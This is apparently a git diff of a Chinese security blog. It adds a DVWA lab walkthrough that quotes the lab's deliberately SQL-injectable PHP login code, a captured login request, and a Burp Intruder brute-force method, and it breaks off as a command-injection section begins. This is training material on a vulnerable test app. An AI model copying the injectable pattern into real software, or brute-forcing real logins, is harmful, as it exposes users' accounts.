+<p>Written and maintained by Michal Zalewski <a href="mailto:&#x6c;&#x63;&#x61;&#109;&#116;&#x75;&#102;&#x40;&#103;&#111;&#111;&#103;&#108;&#101;&#x2e;&#99;&#111;&#x6d;" target="_blank" rel="noopener">&#x6c;&#x63;&#x61;&#109;&#116;&#x75;&#102;&#x40;&#103;&#111;&#111;&#103;&#108;&#101;&#x2e;&#99;&#111;&#x6d;</a></p>
 <p>  Copyright 2013, 2014, 2015, 2016 Google Inc. All rights reserved.<br>  Released under terms and conditions of Apache License, Version 2.0.</p>
 <p>  For new versions and additional information, check out:<br>  <a href="http://lcamtuf.coredump.cx/afl/" target="_blank" rel="noopener">http://lcamtuf.coredump.cx/afl/</a></p>
-<p>  To compare notes with other users or get notified about major new features,<br>  send a mail to <a href="mailto:&#x61;&#102;&#x6c;&#x2d;&#x75;&#x73;&#x65;&#x72;&#x73;&#43;&#x73;&#x75;&#x62;&#115;&#x63;&#x72;&#105;&#98;&#x65;&#x40;&#103;&#111;&#111;&#103;&#108;&#101;&#103;&#114;&#111;&#x75;&#112;&#x73;&#x2e;&#x63;&#x6f;&#x6d;" target="_blank" rel="noopener">&#x61;&#102;&#x6c;&#x2d;&#x75;&#x73;&#x65;&#x72;&#x73;&#43;&#x73;&#x75;&#x62;&#115;&#x63;&#x72;&#105;&#98;&#x65;&#x40;&#103;&#111;&#111;&#103;&#108;&#101;&#103;&#114;&#111;&#x75;&#112;&#x73;&#x2e;&#x63;&#x6f;&#x6d;</a>.</p>
+<p>  To compare notes with other users or get notified about major new features,<br>  send a mail to <a href="mailto:&#97;&#x66;&#108;&#45;&#x75;&#115;&#101;&#114;&#115;&#x2b;&#x73;&#x75;&#x62;&#115;&#99;&#114;&#x69;&#98;&#101;&#64;&#x67;&#111;&#x6f;&#x67;&#x6c;&#101;&#103;&#114;&#111;&#x75;&#x70;&#115;&#x2e;&#x63;&#x6f;&#x6d;" target="_blank" rel="noopener">&#97;&#x66;&#108;&#45;&#x75;&#115;&#101;&#114;&#115;&#x2b;&#x73;&#x75;&#x62;&#115;&#99;&#114;&#x69;&#98;&#101;&#64;&#x67;&#111;&#x6f;&#x67;&#x6c;&#101;&#103;&#114;&#111;&#x75;&#x70;&#115;&#x2e;&#x63;&#x6f;&#x6d;</a>.</p>
 <p>  <strong>See QuickStartGuide.txt if you don’t have time to read this file.</strong></p>
 </blockquote>
 <h2 id="1）具有导向性的模糊测试的挑战"><a href="#1）具有导向性的模糊测试的挑战" class="headerlink" title="1）具有导向性的模糊测试的挑战"></a>1）具有导向性的模糊测试的挑战</h2><p>Fuzzing是用于识别真实软件中的安全问题的最强大且经过验证的策略之一;它负责安全关键软件中迄今为止发现的绝大多数远程代码执行和权限提升漏洞。<br>不幸的是，模糊测试也不够有力。盲目的、随机的变异使得它不太可能在测试代码中达到某些代码路径，从而使一些漏洞超出了这种技术的范围。<br>已经有许多尝试来解决这个问题。早期方法之一 - 由Tavis Ormandy开创 - 是一种 <strong>语义库蒸馏（corpus distillation）</strong> 。网上找到的一些大型语料库中往往包含大量的文件，这时就需要对其精简，该方法依赖于覆盖信号从大量高质量的候选文件语料库中选择有趣种子的子集，然后通过传统方式对其进行模糊处理。该方法非常有效，但需要这样的语料库随时可用。正因为如此，<strong>代码覆盖率</strong> 也只是衡量程序执行状态的一个简单化的度量，这种方式并不适合后续引导fuzzing测试的。<br>其他更复杂的研究集中在诸如 <strong>程序流分析（“concoic execution”），符号执行或静态分析</strong> 等技术上。所有这些方法在实验环境中都非常有前景，但在实际应用中往往会遇到可靠性和性能问题 - 部分高价值的程序都有非常复杂的内部状态和执行路径，在这一方面符号执行和concolic技术往往会显得不够健壮（如路径爆炸问题），所以仍然稍逊于传统的fuzzing技术。</p>
@@ -893,7 +893,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -903,7 +903,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -914,7 +914,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -925,7 +925,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -1012,7 +1012,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/07/09/afl-first-try/index.html b/2019/07/09/afl-first-try/index.html
index e33e5085..465d2fb7 100644
--- a/2019/07/09/afl-first-try/index.html
+++ b/2019/07/09/afl-first-try/index.html
@@ -163,7 +163,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -683,7 +683,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -693,7 +693,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -704,7 +704,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -715,7 +715,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -802,7 +802,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/07/10/x86basic/index.html b/2019/07/10/x86basic/index.html
index 5d890a7c..dc40a90d 100644
--- a/2019/07/10/x86basic/index.html
+++ b/2019/07/10/x86basic/index.html
@@ -179,7 +179,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -715,7 +715,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -725,7 +725,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -736,7 +736,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -747,7 +747,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -834,7 +834,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/07/16/linux-pwn-32/index.html b/2019/07/16/linux-pwn-32/index.html
index 4fa042ae..a9ed035c 100644
--- a/2019/07/16/linux-pwn-32/index.html
+++ b/2019/07/16/linux-pwn-32/index.html
@@ -88,7 +88,7 @@
 <meta property="og:description" content="之前介绍了Windows x86平台下栈溢出漏洞的开放与利用，鉴于CTF基本都是Linux，还有实际开发环境，很多智能设备的系统都是基于Linux，所以从很现实的需求出发，一定要学习学习Linux下漏洞的分析。 ref：  CTF-WIKI：https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/蒸米大佬的一步一步学rop http://www.anqu">
 <meta property="og:locale" content="zh-Hans">
 <meta property="og:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1563267241/pwn/4a7227aa9f00bd2fd45d363da4cf25c6fd425638.jpg">
-<meta property="og:updated_time" content="2019-07-16T09:14:29.618Z">
+<meta property="og:updated_time" content="2019-07-16T09:16:44.729Z">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="Linux Pwn-缓冲区溢出利用">
 <meta name="twitter:description" content="之前介绍了Windows x86平台下栈溢出漏洞的开放与利用，鉴于CTF基本都是Linux，还有实际开发环境，很多智能设备的系统都是基于Linux，所以从很现实的需求出发，一定要学习学习Linux下漏洞的分析。 ref：  CTF-WIKI：https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/蒸米大佬的一步一步学rop http://www.anqu">
@@ -163,7 +163,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -437,7 +437,7 @@
         <p>之前介绍了Windows x86平台下栈溢出漏洞的开放与利用，鉴于CTF基本都是Linux，还有实际开发环境，很多智能设备的系统都是基于Linux，所以从很现实的需求出发，一定要学习学习Linux下漏洞的分析。</p>
 <p><strong>ref：</strong></p>
 <blockquote>
-<p>CTF-WIKI：<a href="https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/" target="_blank" rel="noopener">https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/</a><br>蒸米大佬的一步一步学rop <a href="http://www.anquan.us/static/drops/tips-6597.html" target="_blank" rel="noopener">http://www.anquan.us/static/drops/tips-6597.html</a></p>
+<p>CTF-WIKI：<a href="https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/" target="_blank" rel="noopener">https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/</a><br>蒸米大佬的一步一步学rop <a href="http://www.anquan.us/static/drops/tips-6597.html" target="_blank" rel="noopener">http://www.anquan.us/static/drops/tips-6597.html</a><br><a href="https://bbs.pediy.com/thread-221734.htm" target="_blank" rel="noopener">https://bbs.pediy.com/thread-221734.htm</a></p>
 </blockquote>
 <p><strong>工具：</strong></p>
 <blockquote>
@@ -620,6 +620,10 @@
 
           <div class="post-nav-prev post-nav-item">
             
+              <a href="/2019/07/24/web-dvwa/" rel="prev" title="DVWA黑客攻防平台">
+                DVWA黑客攻防平台 <i class="fa fa-chevron-right"></i>
+              </a>
+            
           </div>
         </div>
       
@@ -694,7 +698,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -704,7 +708,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -715,7 +719,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -726,7 +730,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -813,7 +817,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/07/24/web-dvwa/index.html b/2019/07/24/web-dvwa/index.html
new file mode 100644
index 00000000..e750fe40
--- /dev/null
+++ b/2019/07/24/web-dvwa/index.html
@@ -0,0 +1,1525 @@
+<!DOCTYPE html>
+
+
+
+  
+
+
+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
+
+
+
+
+
+
+
+
+
+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
+
+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
+
+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
+
+
+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
+
+
+
+  <meta name="keywords" content="web,ctf,">
+
+
+
+
+
+
+
+
+
+
+<meta name="description" content="搭建环境最好使用docker来搭建，方便迁移 https://hub.docker.com/r/vulnerables/web-dvwa/ 暴力破解easy模式 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词，姓氏，任何太短的密码（通常被认为少于6或7个字符），或可预测的模式">
+<meta name="keywords" content="web,ctf">
+<meta property="og:type" content="article">
+<meta property="og:title" content="DVWA黑客攻防平台">
+<meta property="og:url" content="https://cool-y.github.io/2019/07/24/web-dvwa/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="搭建环境最好使用docker来搭建，方便迁移 https://hub.docker.com/r/vulnerables/web-dvwa/ 暴力破解easy模式 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词，姓氏，任何太短的密码（通常被认为少于6或7个字符），或可预测的模式">
+<meta property="og:locale" content="zh-Hans">
+<meta property="og:updated_time" content="2019-07-24T03:48:23.821Z">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="DVWA黑客攻防平台">
+<meta name="twitter:description" content="搭建环境最好使用docker来搭建，方便迁移 https://hub.docker.com/r/vulnerables/web-dvwa/ 暴力破解easy模式 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词，姓氏，任何太短的密码（通常被认为少于6或7个字符），或可预测的模式">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
+  var NexT = window.NexT || {};
+  var CONFIG = {
+    root: '/',
+    scheme: 'Gemini',
+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
+    },
+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
+    }
+  };
+</script>
+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/2019/07/24/web-dvwa/">
+
+
+
+
+
+  <title>DVWA黑客攻防平台 | 混元霹雳手</title>
+  
+
+
+
+
+
+
+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left page-post-detail">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
+    
+
+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
+        <span class="logo-line-before"><i></i></span>
+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
+      </a>
+    </div>
+      
+        <p class="site-subtitle"></p>
+      
+  </div>
+
+  <div class="site-nav-toggle">
+    <button>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+    </button>
+  </div>
+</div>
+
+<nav class="site-nav">
+  
+
+  
+    <ul id="menu" class="menu">
+      
+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
+            
+            归档
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-bookmarks">
+          <a href="/bookmarks/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
+          </a>
+        </li>
+      
+
+      
+        <li class="menu-item menu-item-search">
+          
+            <a href="javascript:;" class="popup-trigger">
+          
+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
+          </a>
+        </li>
+      
+    </ul>
+  
+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
+    </div>
+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
+
+    </div>
+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
+
+  <div id="posts" class="posts-expand">
+    
+
+  
+
+  
+  
+  
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+  
+  
+  
+  <div class="post-block">
+    <link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2019/07/24/web-dvwa/">
+
+    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
+      <meta itemprop="name" content="Cool-Y">
+      <meta itemprop="description" content>
+      <meta itemprop="image" content="/images/avatar.png">
+    </span>
+
+    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
+      <meta itemprop="name" content="混元霹雳手">
+    </span>
+
+    
+      <header class="post-header">
+
+        
+        
+          <h1 class="post-title" itemprop="name headline">DVWA黑客攻防平台</h1>
+        
+
+        <div class="post-meta">
+          <span class="post-time">
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-calendar-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">发表于</span>
+              
+              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-24T11:46:51+08:00">
+                2019-07-24
+              </time>
+            
+
+            
+
+            
+          </span>
+
+          
+            <span class="post-category">
+            
+              <span class="post-meta-divider">|</span>
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-folder-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">分类于</span>
+              
+              
+                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
+                  <a href="/categories/web/" itemprop="url" rel="index">
+                    <span itemprop="name">web</span>
+                  </a>
+                </span>
+
+                
+                
+              
+            </span>
+          
+
+          
+            
+          
+
+          
+          
+             <span id="/2019/07/24/web-dvwa/" class="leancloud_visitors" data-flag-title="DVWA黑客攻防平台">
+               <span class="post-meta-divider">|</span>
+               <span class="post-meta-item-icon">
+                 <i class="fa fa-eye"></i>
+               </span>
+               
+                 <span class="post-meta-item-text">阅读次数&#58;</span>
+               
+                 <span class="leancloud-visitors-count"></span>
+             </span>
+          
+
+          
+
+          
+            <div class="post-wordcount">
+              
+                
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-file-word-o"></i>
+                </span>
+                
+                <span title="字数统计">
+                  7.1k 字
+                </span>
+              
+
+              
+                <span class="post-meta-divider">|</span>
+              
+
+              
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-clock-o"></i>
+                </span>
+                
+                <span title="阅读时长">
+                  31 分钟
+                </span>
+              
+            </div>
+          
+
+          
+
+        </div>
+      </header>
+    
+
+    
+    
+    
+    <div class="post-body" itemprop="articleBody">
+
+      
+      
+
+      
+        <h1 id="搭建环境"><a href="#搭建环境" class="headerlink" title="搭建环境"></a>搭建环境</h1><p>最好使用docker来搭建，方便迁移 <a href="https://hub.docker.com/r/vulnerables/web-dvwa/" target="_blank" rel="noopener">https://hub.docker.com/r/vulnerables/web-dvwa/</a></p>
+<h1 id="暴力破解"><a href="#暴力破解" class="headerlink" title="暴力破解"></a>暴力破解</h1><h2 id="easy模式"><a href="#easy模式" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
+<p>密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。<br>用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词，姓氏，任何太短的密码（通常被认为少于6或7个字符），或可预测的模式（例如交替的元音和辅音，这被称为leetspeak，所以“密码“变成”p @ 55w0rd“）。<br>创建针对目标生成的目标单词列表通常会提供最高的成功率。有一些公共工具可以根据公司网站，个人社交网络和其他常见信息（如生日或毕业年份）的组合创建字典。<br>最后一种方法是尝试所有可能的密码，称为暴力攻击。从理论上讲，如果尝试次数没有限制，那么暴力攻击将永远是成功的，因为可接受密码的规则必须是公开的;但随着密码长度的增加，可能的密码数量也越来越长。</p>
+</blockquote>
+<p>使用burpsuite可破之，Burp suite运行后，Proxy 开起默认的8080 端口作为本地代理接口。<br>使用Burp suite通过置一个web 浏览器使用其代理服务器<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( $_GET[ <span class="string">'Login'</span> ] ) ) &#123;</span><br><span class="line">    <span class="comment">// Get username</span></span><br><span class="line">    $user = $_GET[ <span class="string">'username'</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Get password</span></span><br><span class="line">    $pass = $_GET[ <span class="string">'password'</span> ];</span><br><span class="line">    $pass = md5( $pass );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Check the database</span></span><br><span class="line">    $query  = <span class="string">"SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"</span>;</span><br><span class="line">    $result = mysqli_query($GLOBALS[<span class="string">"___mysqli_ston"</span>],  $query ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">'&lt;pre&gt;'</span> . ((is_object($GLOBALS[<span class="string">"___mysqli_ston"</span>])) ? mysqli_error($GLOBALS[<span class="string">"___mysqli_ston"</span>]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : <span class="keyword">false</span>)) . <span class="string">'&lt;/pre&gt;'</span> );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( $result &amp;&amp; mysqli_num_rows( $result ) == <span class="number">1</span> ) &#123;</span><br><span class="line">        <span class="comment">// Get users details</span></span><br><span class="line">        $row    = mysqli_fetch_assoc( $result );</span><br><span class="line">        $avatar = $row[<span class="string">"avatar"</span>];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Login successful</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">"&lt;p&gt;Welcome to the password protected area &#123;$user&#125;&lt;/p&gt;"</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">"&lt;img src=\"&#123;$avatar&#125;\" /&gt;"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// Login failed</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">"&lt;pre&gt;&lt;br /&gt;Username and/or password incorrect.&lt;/pre&gt;"</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((is_null($___mysqli_res = mysqli_close($GLOBALS[<span class="string">"___mysqli_ston"</span>]))) ? <span class="keyword">false</span> : $___mysqli_res);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></p>
+<p><strong>PHP $_GET 变量</strong><br>在 PHP 中，预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。</p>
+<p><strong>$_GET 变量</strong><br>预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。<br>从带有 GET 方法的表单发送的信息，<strong>对任何人都是可见的</strong>（会显示在浏览器的地址栏），并且对发送信息的量也有限制。</p>
+<p><strong>何时使用 method=”get”？</strong><br>在 HTML 表单中使用 method=”get” 时，所有的变量名和值都会显示在 URL 中。<br>所以在发送密码或其他敏感信息时，不应该使用这个方法！<br>然而，正因为变量显示在 URL 中，因此可以在收藏夹中收藏该页面。在某些情况下，这是很有用的。<br>HTTP GET 方法不适合大型的变量值。它的值是不能超过 2000 个字符的。</p>
+<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">GET /vulnerabilities/brute/?username=admin123&amp;password=123&amp;Login=Login HTTP/1.1</span><br><span class="line">Host: 192.168.31.84:81</span><br><span class="line">Proxy-Connection: keep-alive</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3</span><br><span class="line">Referer: http://192.168.31.84:81/vulnerabilities/brute/</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span><br><span class="line">Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low</span><br></pre></td></tr></table></figure>
+<p>我们可以看到username和password是以明文出现，可以修改。</p>
+<p>将请求进行提交到intruder模块，在那里可以把password设置为我们破解的payload.<br>点击Start attack~然后就根据对面返回包的大小，知道密码，’password’返回的长度更长</p>
+<h2 id="medium模式"><a href="#medium模式" class="headerlink" title="medium模式"></a>medium模式</h2><p>代码与前面相比只是多了要用mysqli_real_escape_string函数进行验证，以及登录失败会 sleep(2)。将用户名和密码转义，比如说 \n 被转义成 \n，’ 转义成 \’，这可以抵御一些 SQL 注入攻击，但是不能抵御爆破。</p>
+<h1 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h1><h2 id="easy模式-1"><a href="#easy模式-1" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
+<p>命令注入攻击的目的是在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下，执行不需要的系统命令的应用程序就像一个伪系统shell，攻击者可以将它用作任何授权的系统用户。但是，命令的执行具有与Web服务相同的权限和环境。</p>
